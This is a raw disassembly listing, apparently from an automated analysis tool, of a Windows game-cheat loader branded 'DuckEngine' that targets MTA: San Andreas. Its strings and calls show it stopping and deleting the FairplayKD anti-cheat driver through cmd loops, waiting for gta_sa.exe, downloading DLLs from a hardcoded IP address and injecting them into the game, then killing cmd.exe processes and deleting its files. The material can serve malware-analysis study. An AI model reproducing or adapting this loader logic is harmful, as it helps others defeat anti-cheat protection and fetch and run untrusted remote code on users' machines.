Function at 0x4021e0
Capabilities:
Create process on windows
Create thread
Delete file
Enumerate processes
Execute command
Self delete
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4045f7
mov eax, dword fs:[0]
push eax
sub esp, 0x36c
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.MTA:_San_Andreas
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
je 0x402240
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403422
mov esp, ebp
pop ebp
ret
push 0x4057dc
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push fcn.00402160
call fcn.004036d1
add esp, 4
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.chcp_1252_nul
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add esp, 4
call ebx
mov esi, eax
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x258
push 0x320
push dword [ebp - 0x13c]
push dword [ebp - 0x140]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 4
call fcn.00403430
mov dword [ebp - 0x128], eax
mov dword [eax], 0x401f30
lea ecx, [ebp - 0x12c]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x403250
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [ebp - 0x130], eax
test eax, eax
je 0x402a07
push 0
push 0
push 0
mov dword [ebp - 4], 1
call ebx
push eax
push 0x78
push 0x78
push 0
push 0
push 0x40000000
push str.gjgjfjfjaiwe
push str.RemoteWin
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0x27
push 0x258
push 0x320
push 0
push 0
push 0
mov dword [0x4087bc], eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call ebx
mov dword [ebp - 0x124], str.C:ProgramDataMTA_San_Andreas_AllCommon_temp2FairplayKD.sys
lea esi, [ebp - 0x124]
mov dword [ebp - 0x120], str.C:ProgramDataMTA_San_Andreas_AllCommon_tempFairplayKD.sys
mov dword [ebp - 0x11c], str.C:ProgramDataMTA_San_Andreas_All1.6_tempFairplayKD.sys
mov dword [ebp - 0x118], str.C:ProgramDataMTA_San_Andreas_All1.6_temp2FairplayKD.sys
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0x18
mov ecx, esp
test eax, eax
je 0x40239e
push str.Tisztitva_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x405294
jmp 0x4023b4
push str.Nem_Talalt_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x405298
call fcn.004011d0
call fcn.00401430
add esp, 0x18
push 0x64
call ebx
add esi, 4
lea eax, [ebp - 0x114]
cmp esi, eax
jne 0x402375
push 0x64
call ebx
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push str._k___echo_off__for__l__x_in__0__0__1__do__sc_stop_FairplayKD0__sc_stop_FairplayKD__sc_stop_FairplayKD1__sc_stop_FairplayKD2__sc_stop_FairplayKD3__sc_stop_FairplayKD4__sc_stop_FairplayKD5__sc_stop_FairplayKD6__sc_stop_FairplayKD7__sc_stop_FairplayKD8__sc_stop_FairplayKD9__sc_stop_FairplayKD10__
push str.cmd.exe
push str.open
push dword [0x4087bc]
call esi
push 0
push 0
push str._k___echo_off__for__l__x_in__0__0__1__do__del__q__C:ProgramDataMTA_San_Andreas_AllCommon_tempFairplayKD.sys___del__q__C:ProgramDataMTA_San_Andreas_AllCommon_temp2FairplayKD.sys___del__q__C:ProgramDataMTA_San_Andreas_All1.6_tempFairplayKD.sys___
push str.cmd.exe
push str.open
push dword [0x4087bc]
mov dword [0x4088c4], eax
call esi
push 0xc8
mov dword [0x4088c8], eax
call ebx
push 0x40579c
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x405838
call fcn.00402a80
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x128], esp
push str._____
call fcn.004011d0
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
push 0x4052f0
call fcn.004011d0
mov byte [ebp - 4], 1
call fcn.00401870
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x378], esp
push str._____________DuckEngine___V1
call fcn.004011d0
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push str.e_1me_31m
call fcn.004011d0
mov byte [ebp - 4], 1
call fcn.00401870
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x378], esp
push str._____
call fcn.004011d0
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
push 0x4052f0
call fcn.004011d0
mov byte [ebp - 4], 1
call fcn.00401870
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x30
mov edx, 0x405888
call fcn.00402a80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x402ca0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
push str.Varakozas...
lea ecx, [ebp - 0x148]
call fcn.004011d0
mov byte [ebp - 4], 5
mov edx, 0x4052f8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00402a80
mov edx, str.e_37m
mov ecx, eax
call fcn.00402a80
mov edx, str.______
mov ecx, eax
call fcn.00402a80
mov edx, str.e_34m
mov ecx, eax
call fcn.00402a80
mov edx, 0x4052b0
mov ecx, eax
call fcn.00402a80
mov edx, str.e_37m
mov ecx, eax
call fcn.00402a80
mov edx, 0x4052ac
mov ecx, eax
call fcn.00402a80
mov edx, str.e_37m
mov ecx, eax
call fcn.00402a80
cmp dword [ebp - 0x134], 0xf
lea edx, [ebp - 0x148]
push dword [ebp - 0x138]
cmova edx, dword [ebp - 0x148]
mov ecx, eax
call fcn.00403040
add esp, 4
mov edx, 0x405254
mov ecx, eax
call fcn.00402a80
mov edx, 0x4052f0
mov ecx, eax
call fcn.00402a80
mov ecx, dword [0x4088cc]
mov edx, dword [ecx*4 + 0x40592c]
mov ecx, eax
call fcn.00402a80
mov edx, str.e_0m
mov ecx, eax
call fcn.00402a80
push 0x402cd0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x4088cc]
inc eax
and eax, 0x80000003
jns 0x4025f3
dec eax
or eax, 0xfffffffc
inc eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x134]
mov dword [0x4088cc], eax
cmp ecx, 0xf
jbe 0x402636
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40262c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402750
push ecx
push edx
call fcn.00403465
add esp, 8
push 0
push 2
mov dword [ebp - 0x374], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4026de
lea eax, [ebp - 0x374]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4026d7
push 0xffffffffffffffff
lea eax, [ebp - 0x350]
mov dword [ebp - 0x128], 0
push eax
push 0x104
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x128]
push eax
call ebx
add esp, 0x14
lea ecx, [ebp - 0x114]
mov eax, str.gta_sa.exe
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4026c0
test dl, dl
je 0x4026bc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4026c0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4026a0
xor eax, eax
jmp 0x4026c5
sbb eax, eax
or eax, 1
test eax, eax
je 0x402741
lea eax, [ebp - 0x374]
push eax
push esi
call edi
test eax, eax
jne 0x402667
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x402500
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x402ca0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x4086b8
mov ecx, str.http:__213.181.206.144_kernel76.dll
call fcn.00401990
sub esp, 0x18
mov ecx, esp
test al, al
jne 0x402756
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x405298
call fcn.004011d0
call fcn.00401430
add esp, 0x18
jmp 0x4027c1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x36c]
jmp 0x4026e0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x405294
call fcn.004011d0
call fcn.00401430
add esp, 0x18
mov edx, 0x4087c0
mov ecx, str.http:__213.181.206.144_GasMask.dll
call fcn.00401990
sub esp, 0x18
mov ecx, esp
test al, al
jne 0x4027ea
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x405298
call fcn.004011d0
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
push 0x4086b8
call edi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
call fcn.00402160
mov eax, 1
jmp 0x4029f4
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x405294
call fcn.004011d0
call fcn.00401430
mov ecx, esp
push str.Jatszadozas_a_FairplayKD_val...
call fcn.004011d0
call fcn.00401570
mov ecx, esp
push str.Injectelesi_sorozat_inditasa...
call fcn.004011d0
call fcn.00401570
add esp, 0x18
mov edx, 0x4086b8
mov ecx, esi
call fcn.00401b30
sub esp, 0x18
mov ecx, esp
test al, al
je 0x402876
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x405294
call fcn.004011d0
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
push 0x4086b8
call edi
jmp 0x4028ab
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x405298
call fcn.004011d0
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
push 0x4086b8
call edi
call fcn.00402160
mov edx, 0x4087c0
mov ecx, esi
call fcn.00401b30
sub esp, 0x18
mov ecx, esp
test al, al
je 0x402913
push str.Sikeres_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x405294
call fcn.004011d0
call fcn.00401430
add esp, 0x18
push 0x4087c0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
jmp 0x402963
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
add esp, 0x18
push 0x4087c0
call edi
sub esp, 0x18
mov ecx, esp
push 0x405298
call fcn.004011d0
call fcn.00401430
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esp, 0x18
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
sub esp, 0x18
mov ecx, esp
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x405294
call fcn.004011d0
call fcn.00401430
add esp, 0x18
push 0x4086b8
call edi
push 0x4087c0
call edi
xor al, al
mov ecx, 0x4082ac
xchg byte [ecx], al
push 0x1f4
call ebx
push str..gg_skullteam
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
call fcn.00402160
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.taskkill__F__IM_cmd.exe_nul
call esi
push 0x40579c
call esi
add esp, 8
xor eax, eax
cmp dword [ebp - 0x12c], 0
je 0x402224
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 6
mov dword [ebp - 0x12c], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3